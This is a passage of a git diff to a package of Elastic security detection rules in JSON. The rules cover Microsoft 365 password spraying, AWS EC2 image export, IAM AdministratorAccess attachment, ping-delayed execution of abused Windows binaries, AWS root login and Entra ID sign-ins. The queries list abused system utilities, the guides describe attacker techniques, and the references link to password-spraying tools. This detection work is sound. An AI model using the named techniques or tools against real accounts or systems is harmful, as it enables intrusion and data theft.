Esql.event_count,\n Esql.event_duration_seconds\n| where\n Esql_priv.o365_audit_UserId_count_distinct >= 10 and\n Esql.event_count >= 10 and\n Esql.event_duration_seconds <= 300\n", + "references": [ + "https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray", + "https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties", + "https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/", + "https://github.com/0xZDH/Omnispray", + "https://github.com/0xZDH/o365spray" + ], + "related_integrations": [ + { + "package": "o365", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_duration_seconds", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.o365_audit_ExtendedProperties_RequestType_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_geo_country_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_geo_country_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_ip_values", + "type": "ip" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.timestamp_first_seen", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.timestamp_last_seen", + "type": "date" + }, + { + "ecs": false, + "name": "Esql_priv.o365_audit_UserId_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql_priv.o365_audit_UserId_values", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "de67f85e-2d43-11f0-b8c9-f661ea17fbcc", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Domain: SaaS", + "Data Source: Microsoft 365", + "Data Source: Microsoft 365 Audit Logs", + "Use Case: Threat Detection", + "Use Case: Identity and Access Audit", + "Tactic: Credential Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.001", + "name": "Password Guessing", + "reference": "https://attack.mitre.org/techniques/T1110/001/" + }, + { + "id": "T1110.003", + "name": "Password Spraying", + "reference": "https://attack.mitre.org/techniques/T1110/003/" + }, + { + "id": "T1110.004", + "name": "Credential Stuffing", + "reference": "https://attack.mitre.org/techniques/T1110/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 5 + }, + "id": "de67f85e-2d43-11f0-b8c9-f661ea17fbcc_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/deee5856-25ba-438d-ae53-09d66f41b127_1.json b/packages/security_detection_engine/kibana/security_rule/deee5856-25ba-438d-ae53-09d66f41b127_1.json new file mode 100644 index 00000000000..1f002645864 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/deee5856-25ba-438d-ae53-09d66f41b127_1.json @@ -0,0 +1,132 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies successful export tasks of EC2 instances via the APIs CreateInstanceExportTask, ExportImage, or CreateStoreImageTask. These exports can be used by administrators for legitimate VM migration or backup workflows however, an attacker with access to an EC2 instance or AWS credentials can export a VM or its image and then transfer it off-account for exfiltration of data.", + "false_positives": [ + "VM export and EC2 image creation may be done by system administrators, DevOps or migration teams as part of planned maintenance, disaster-recovery or known backup methods. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Exports from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS EC2 Export Task", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS EC2 Export Task\n\nThe APIs `CreateInstanceExportTask`, `ExportImage`, and `CreateStoreImageTask` allow the export of a running or stopped EC2 instance (or its AMI/image) to external storage (e.g., S3) or image formats. While often used for migration, cloning or backup, adversaries can leverage these actions to copy full VM state or images out of the environment for exfiltration.\n\n#### Possible investigation steps\n\n**Identify the actor and context** \n - Check `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `aws.cloudtrail.user_identity.access_key_id` to identify who made the call. \n - Verify `user_agent.original`, `source.ip` and `@timestamp` to determine whether the action is by known automation, trusted operator, or an unexpected identity or location. \n - Confirm `cloud.account.id` and `cloud.region` match the expected account/region for export tasks.\n\n**Examine the specific export/image task details** \n - Review `aws.cloudtrail.request_parameters` for details such as the `InstanceId`, `TargetEnvironment`, `S3Bucket`, `S3Key`, `DiskImageFormat`, `ContainerFormat`. \n - Check `aws.cloudtrail.response_elements` for the resulting export task ID and status. \n - Determine whether the exported instance or image contained sensitive workloads (e.g., production databases, critical systems) via instance tags or asset inventory.\n\n**Pivot to related API calls/events** \n - Look for follow-on tasks such as: \n - S3 bucket writes or cross-account bucket ACL changes (`PutBucketAcl`/`PutBucketPolicy`) referencing the export S3 bucket or key. \n - `CopyImage`, `ModifyImageAttribute`, or `ShareImage` events if the exported image is copied or shared. \n - Network or usage anomalies in the region or from the S3 bucket (large downloads from the exported object). \n - Check for preceding suspicious actions that could indicate compromise: `AssumeRole`, `CreateAccessKey`, `AttachUserPolicy`, or unusual `Describe*` operations.\n\n**Assess legitimacy and risk** \n - Confirm whether this export was authorized (via change ticket or migration workflow) and whether the principal has a documented justification for VM export. \n - If unauthorized, assess what was exported, where it is stored, how it may be transferred or used externally, and the data risk exposure.\n\n### False positive analysis\n\n- Legitimate migration or backup workflows may trigger these export/image APIs. \n- Development/test environments may export VM images or instances for sandbox cloning. \n- Known automation tools may create exports at scheduled times. \n\n### Response and remediation\n\n- Immediately identify and disable or isolate any object/resource created by the export (e.g., the S3 bucket/object, image ID) that is suspected of unauthorized use. \n- Revoke the access credentials (`aws.cloudtrail.user_identity.access_key_id`) used if they show unusual activity. \n- Rotate keys, enforce MFA, and review IAM permissions for the principal. \n- Audit the exported VM/image: review its contents if possible, check whether it has been moved off-account. \n- Strengthen monitoring: set alerts for subsequent large data transfers from the S3 export location, cross-account sharing of exported images, or anomalous AMI imports. \n- Update policy: restrict who can perform exports, monitor export actions via AWS Config or CloudTrail, tag and track export tasks and their destinations.\n", + "query": "event.dataset: \"aws.cloudtrail\" and \n event.provider: \"ec2.amazonaws.com\" and \n event.action: (\"CreateInstanceExportTask\" or \"ExportImage\" or \"CreateStoreImageTask\") and \n event.outcome: \"success\"\n", + "references": [ + "https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html", + "https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport_image.html", + "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.html," + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "deee5856-25ba-438d-ae53-09d66f41b127", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS EC2", + "Use Case: Asset Visibility", + "Tactic: Exfiltration", + "Tactic: Collection", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0010", + "name": "Exfiltration", + "reference": "https://attack.mitre.org/tactics/TA0010/" + }, + "technique": [ + { + "id": "T1537", + "name": "Transfer Data to Cloud Account", + "reference": "https://attack.mitre.org/techniques/T1537/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0009", + "name": "Collection", + "reference": "https://attack.mitre.org/tactics/TA0009/" + }, + "technique": [ + { + "id": "T1005", + "name": "Data from Local System", + "reference": "https://attack.mitre.org/techniques/T1005/" + }, + { + "id": "T1119", + "name": "Automated Collection", + "reference": "https://attack.mitre.org/techniques/T1119/" + }, + { + "id": "T1530", + "name": "Data from Cloud Storage", + "reference": "https://attack.mitre.org/techniques/T1530/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 1 + }, + "id": "deee5856-25ba-438d-ae53-09d66f41b127_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/df919b5e-a0f6-4fd8-8598-e3ce79299e3b_4.json b/packages/security_detection_engine/kibana/security_rule/df919b5e-a0f6-4fd8-8598-e3ce79299e3b_4.json deleted file mode 100644 index 5449759b44b..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/df919b5e-a0f6-4fd8-8598-e3ce79299e3b_4.json +++ /dev/null @@ -1,86 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to user groups the compromised user account belongs to. This rule looks for use of the IAM `AttachGroupPolicy` API operation to attach the highly permissive `AdministratorAccess` AWS managed policy to an existing IAM user group.", - "false_positives": [ - "While this can be normal behavior, it should be investigated to ensure validity. Verify whether the user identity should be using the IAM `AttachGroupPolicy` API operation to attach the `AdministratorAccess` policy to the user group." - ], - "from": "now-6m", - "language": "esql", - "license": "Elastic License v2", - "name": "AWS IAM AdministratorAccess Policy Attached to Group", - "note": "## Triage and analysis\n\n### Investigating AWS IAM AdministratorAccess Policy Attached to Group\n\nThe AWS IAM `AdministratorAccess` managed policy provides full access to all AWS services and resources.\nWith access to the `iam:AttachGroupPolicy` permission, a set of compromised credentials could be used to attach\nthis policy to the current user's groups for privilege escalation or as a means of persistence. This rule uses [ES|QL](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-esql-rule)\nto look for use of the `AttachGroupPolicy` operation along with request_parameters where the policyName is `AdministratorAccess`.\n\n\n#### Possible investigation steps\n\n- Identify the account and its role in the environment.\n- Review IAM permission policies for the user identity.\n- Identify the applications or users that should use this account.\n- Investigate other alerts associated with the account during the past 48 hours.\n- Investigate abnormal values in the `user_agent.original` field by comparing them with the intended and authorized usage and historical data. Suspicious user agent values include non-SDK, AWS CLI, custom user agents, etc.\n- Contact the account owner and confirm whether they are aware of this activity.\n- Considering the source IP address and geolocation of the user who issued the command:\n - Do they look normal for the calling user?\n - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control?\n - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance?\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours.\n - Determine what other API calls were made by the user.\n - Assess whether this behavior is prevalent in the environment by looking for similar occurrences involving other users.\n\n### False positive analysis\n\n- False positives may occur due to the intended usage of the IAM `AdministratorAccess` managed policy. Verify the `aws.cloudtrail.user_identity.arn` should have the `iam:AttachUserPolicy` permission and that the `target.userName` should be given full administrative access.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n - Rotate user credentials\n - Remove the `AdministratorAccess` policy from the affected group(s)\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Assess the criticality of affected services and servers.\n - Work with your IT team to identify and minimize the impact on users.\n - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified.\n - Rotate secrets or delete API keys as needed to revoke the attacker's access to the environment.\n - Work with your IT teams to minimize the impact on business operations during these actions.\n- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users.\n- Consider enabling multi-factor authentication for users.\n- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed.\n- Implement security best practices [outlined](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/) by AWS.\n- Take the actions needed to return affected systems, data, or services to their normal operational levels.\n- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "from logs-aws.cloudtrail-* metadata _id, _version, _index\n| where event.provider == \"iam.amazonaws.com\" and event.action == \"AttachGroupPolicy\" and event.outcome == \"success\"\n| dissect aws.cloudtrail.request_parameters \"{%{?policyArn}=%{?arn}:%{?aws}:%{?iam}::%{?aws}:%{?policy}/%{policyName},%{?groupName}=%{group.name}}\"\n| where policyName == \"AdministratorAccess\"\n| keep @timestamp, event.provider, event.action, event.outcome, policyName, group.name\n", - "references": [ - "https://docs.aws.amazon.com/IAM/latest/APIReference/API_AttachGroupPolicy.html", - "https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess.html", - "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/" - ], - "risk_score": 47, - "rule_id": "df919b5e-a0f6-4fd8-8598-e3ce79299e3b", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS IAM", - "Use Case: Identity and Access Audit", - "Tactic: Privilege Escalation", - "Tactic: Persistence", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0004", - "name": "Privilege Escalation", - "reference": "https://attack.mitre.org/tactics/TA0004/" - }, - "technique": [ - { - "id": "T1098", - "name": "Account Manipulation", - "reference": "https://attack.mitre.org/techniques/T1098/", - "subtechnique": [ - { - "id": "T1098.003", - "name": "Additional Cloud Roles", - "reference": "https://attack.mitre.org/techniques/T1098/003/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1098", - "name": "Account Manipulation", - "reference": "https://attack.mitre.org/techniques/T1098/", - "subtechnique": [ - { - "id": "T1098.003", - "name": "Additional Cloud Roles", - "reference": "https://attack.mitre.org/techniques/T1098/003/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 4 - }, - "id": "df919b5e-a0f6-4fd8-8598-e3ce79299e3b_4", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e00b8d49-632f-4dc6-94a5-76153a481915_7.json b/packages/security_detection_engine/kibana/security_rule/e00b8d49-632f-4dc6-94a5-76153a481915_7.json new file mode 100644 index 00000000000..8375607846d --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/e00b8d49-632f-4dc6-94a5-76153a481915_7.json @@ -0,0 +1,209 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the execution of commonly abused Windows utilities via a delayed Ping execution. This behavior is often observed during malware installation and is consistent with an attacker attempting to evade detection.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Delayed Execution via Ping", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Delayed Execution via Ping\n\nPing, a network utility, can be misused by attackers to delay execution of malicious commands, aiding in evasion. Adversaries may use ping to introduce pauses, allowing them to execute harmful scripts or binaries stealthily. The detection rule identifies suspicious ping usage followed by execution of known malicious utilities, flagging potential threats by monitoring specific command patterns and excluding benign processes.\n\n### Possible investigation steps\n\n- Review the process tree to understand the sequence of events, focusing on the parent-child relationship between cmd.exe, ping.exe, and any subsequent suspicious processes like rundll32.exe or powershell.exe.\n- Examine the command line arguments used with ping.exe to determine the delay introduced and assess if it aligns with typical malicious behavior.\n- Investigate the user account associated with the process execution, especially if the user.id is not S-1-5-18, to determine if the account has been compromised or is being misused.\n- Check the file path and code signature of any executables launched from the user's AppData directory to verify if they are trusted or potentially malicious.\n- Analyze the command line arguments and working directory of any suspicious processes to identify any known malicious patterns or scripts being executed.\n- Correlate the alert with any other recent alerts or logs from the same host or user to identify potential patterns or ongoing malicious activity.\n\n### False positive analysis\n\n- Legitimate administrative scripts or maintenance tasks may use ping to introduce delays, especially in batch files executed by system administrators. To handle this, identify and exclude specific scripts or command lines that are known to be safe.\n- Software installations or updates might use ping for timing purposes. Review the command lines and parent processes involved, and create exceptions for trusted software paths or signatures.\n- Automated testing environments may use ping to simulate network latency or wait for services to start. Exclude these processes by identifying the testing framework or environment and adding it to the exception list.\n- Some legitimate applications might use ping as part of their normal operation. Monitor these applications and, if verified as safe, exclude their specific command patterns or executable paths.\n- Regularly review and update the exception list to ensure it reflects the current environment and any new legitimate use cases that arise.\n\n### Response and remediation\n\n- Isolate the affected system from the network immediately to prevent further malicious activity and lateral movement.\n- Terminate any suspicious processes identified in the alert, such as those involving ping.exe followed by the execution of known malicious utilities.\n- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malware or unauthorized software.\n- Review and analyze the command history and logs of the affected system to understand the scope of the attack and identify any additional compromised systems.\n- Restore the system from a known good backup if malware removal is not feasible or if the system's integrity is in question.\n- Implement application whitelisting to prevent unauthorized execution of scripts and binaries, focusing on the utilities identified in the alert.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.", + "query": "sequence by process.parent.entity_id with maxspan=1m\n [process where host.os.type == \"windows\" and event.action == \"start\" and process.name : \"ping.exe\" and\n process.args : \"-n\" and process.parent.name : \"cmd.exe\" and not user.id : \"S-1-5-18\"]\n [process where host.os.type == \"windows\" and event.action == \"start\" and\n process.parent.name : \"cmd.exe\" and\n (\n process.name : (\n \"rundll32.exe\", \"powershell.exe\",\n \"mshta.exe\", \"msbuild.exe\",\n \"certutil.exe\", \"regsvr32.exe\",\n \"powershell.exe\", \"cscript.exe\",\n \"wscript.exe\", \"wmic.exe\",\n \"installutil.exe\", \"msxsl.exe\",\n \"Microsoft.Workflow.Compiler.exe\",\n \"ieexec.exe\", \"iexpress.exe\",\n \"RegAsm.exe\", \"installutil.exe\",\n \"RegSvcs.exe\", \"RegAsm.exe\"\n ) or\n (process.executable : \"?:\\\\Users\\\\*\\\\AppData\\\\*.exe\" and not process.code_signature.trusted == true)\n ) and\n\n not process.args : (\"?:\\\\Program Files\\\\*\", \"?:\\\\Program Files (x86)\\\\*\") and\n not (process.name : (\"openssl.exe\", \"httpcfg.exe\", \"certutil.exe\") and process.parent.command_line : \"*ScreenConnectConfigurator.cmd*\") and\n not (process.pe.original_file_name : \"DPInst.exe\" and process.command_line : \"driver\\\\DPInst_x64 /f \") and\n not (process.name : \"powershell.exe\" and process.args : \"Write-Host ======*\") and\n not (process.name : \"wscript.exe\" and process.args : \"launchquiet_args.vbs\" and process.parent.args : \"?:\\\\Windows\\\\TempInst\\\\7z*\") and\n not (process.name : \"regsvr32.exe\" and process.args : (\"?:\\\\windows\\\\syswow64\\\\msxml?.dll\", \"msxml?.dll\", \"?:\\\\Windows\\\\SysWOW64\\\\mschrt20.ocx\")) and\n not (process.name : \"wscript.exe\" and\n process.working_directory :\n (\"?:\\\\Windows\\\\TempInst\\\\*\",\n \"?:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Temp\\\\BackupBootstrapper\\\\Logs\\\\\",\n \"?:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Temp\\\\QBTools\\\\\"))\n ]\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.code_signature.trusted", + "type": "boolean" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.parent.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.pe.original_file_name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.working_directory", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "e00b8d49-632f-4dc6-94a5-76153a481915", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Execution", + "Tactic: Defense Evasion", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + }, + { + "id": "T1059.005", + "name": "Visual Basic", + "reference": "https://attack.mitre.org/techniques/T1059/005/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1216", + "name": "System Script Proxy Execution", + "reference": "https://attack.mitre.org/techniques/T1216/" + }, + { + "id": "T1218", + "name": "System Binary Proxy Execution", + "reference": "https://attack.mitre.org/techniques/T1218/", + "subtechnique": [ + { + "id": "T1218.003", + "name": "CMSTP", + "reference": "https://attack.mitre.org/techniques/T1218/003/" + }, + { + "id": "T1218.004", + "name": "InstallUtil", + "reference": "https://attack.mitre.org/techniques/T1218/004/" + }, + { + "id": "T1218.005", + "name": "Mshta", + "reference": "https://attack.mitre.org/techniques/T1218/005/" + }, + { + "id": "T1218.009", + "name": "Regsvcs/Regasm", + "reference": "https://attack.mitre.org/techniques/T1218/009/" + }, + { + "id": "T1218.010", + "name": "Regsvr32", + "reference": "https://attack.mitre.org/techniques/T1218/010/" + }, + { + "id": "T1218.011", + "name": "Rundll32", + "reference": "https://attack.mitre.org/techniques/T1218/011/" + } + ] + }, + { + "id": "T1220", + "name": "XSL Script Processing", + "reference": "https://attack.mitre.org/techniques/T1220/" + }, + { + "id": "T1497", + "name": "Virtualization/Sandbox Evasion", + "reference": "https://attack.mitre.org/techniques/T1497/", + "subtechnique": [ + { + "id": "T1497.003", + "name": "Time Based Checks", + "reference": "https://attack.mitre.org/techniques/T1497/003/" + } + ] + } + ] + } + ], + "type": "eql", + "version": 7 + }, + "id": "e00b8d49-632f-4dc6-94a5-76153a481915_7", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e2a67480-3b79-403d-96e3-fdd2992c50ef_209.json b/packages/security_detection_engine/kibana/security_rule/e2a67480-3b79-403d-96e3-fdd2992c50ef_209.json deleted file mode 100644 index 143af694e4d..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/e2a67480-3b79-403d-96e3-fdd2992c50ef_209.json +++ /dev/null @@ -1,109 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies a successful login to the AWS Management Console by the Root user.", - "false_positives": [ - "It's strongly recommended that the root user is not used for everyday tasks, including the administrative ones. Verify whether the IP address, location, and/or hostname should be logging in as root in your environment. Unfamiliar root logins should be investigated immediately. If known behavior is causing false positives, it can be exempted from the rule." - ], - "from": "now-60m", - "index": [ - "filebeat-*", - "logs-aws.cloudtrail-*" - ], - "interval": "10m", - "language": "kuery", - "license": "Elastic License v2", - "name": "AWS Management Console Root Login", - "note": "## Triage and analysis\n\n### Investigating AWS Management Console Root Login\n\nThe AWS root account is the one identity that has complete access to all AWS services and resources in the account, which is created when the AWS account is created. AWS strongly recommends that you do not use the root user for your everyday tasks, even the administrative ones. Instead, adhere to the best practice of using the root user only to create your first IAM user. Then securely lock away the root user credentials and use them to perform only a few account and service management tasks. AWS provides a [list of the tasks that require root user](https://docs.aws.amazon.com/general/latest/gr/root-vs-iam.html#aws_tasks-that-require-root).\n\nThis rule looks for attempts to log in to the AWS Management Console as the root user.\n\n#### Possible investigation steps\n\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Examine whether this activity is common in the environment by looking for past occurrences on your logs.\n- Consider the source IP address and geolocation for the calling user who issued the command. Do they look normal for the calling user?\n- Examine the commands, API calls, and data management actions performed by the account in the last 24 hours.\n- Contact the account owner and confirm whether they are aware of this activity.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking access to servers,\nservices, and data accessed by the account in the last 24 hours.\n\n### False positive analysis\n\n- The alert can be dismissed if this operation is done under change management and approved according to the organization's policy for performing a task that needs this privilege level.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify the services or servers involved criticality.\n - Work with your IT team to identify and minimize the impact on users.\n - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.\n - Identify if there are any regulatory or legal ramifications related to this activity.\n- Configure multi-factor authentication for the user.\n- Follow security best practices [outlined](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/) by AWS.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).", - "query": "event.dataset:aws.cloudtrail and event.provider:signin.amazonaws.com and event.action:ConsoleLogin and aws.cloudtrail.user_identity.type:Root and event.outcome:success\n", - "references": [ - "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html" - ], - "related_integrations": [ - { - "integration": "cloudtrail", - "package": "aws", - "version": "^2.0.0" - } - ], - "required_fields": [ - { - "ecs": false, - "name": "aws.cloudtrail.user_identity.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.provider", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "e2a67480-3b79-403d-96e3-fdd2992c50ef", - "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS Signin", - "Use Case: Identity and Access Audit", - "Resources: Investigation Guide", - "Tactic: Initial Access" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0001", - "name": "Initial Access", - "reference": "https://attack.mitre.org/tactics/TA0001/" - }, - "technique": [ - { - "id": "T1078", - "name": "Valid Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1078", - "name": "Valid Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "query", - "version": 209 - }, - "id": "e2a67480-3b79-403d-96e3-fdd2992c50ef_209", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e3bd85e9-7aff-46eb-b60e-20dfc9020d98_4.json b/packages/security_detection_engine/kibana/security_rule/e3bd85e9-7aff-46eb-b60e-20dfc9020d98_4.json new file mode 100644 index 00000000000..751f4f73da0 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/e3bd85e9-7aff-46eb-b60e-20dfc9020d98_4.json @@ -0,0 +1,140 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies concurrent azure signin events for the same user and from multiple sources, and where one of the authentication event has some suspicious properties often associated to DeviceCode and OAuth phishing. Adversaries may steal Refresh Tokens (RTs) via phishing to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources.", + "false_positives": [ + "Users authenticating from multiple devices and using the deviceCode protocol or the Visual Studio Code client." + ], + "from": "now-60m", + "language": "esql", + "license": "Elastic License v2", + "name": "Microsoft Entra ID Concurrent Sign-Ins with Suspicious Properties", + "note": "## Triage and analysis\n\n### Investigating Microsoft Entra ID Concurrent Sign-Ins with Suspicious Properties\n\n### Possible investigation steps\n\n- Review the sign-in logs to assess the context and reputation of the 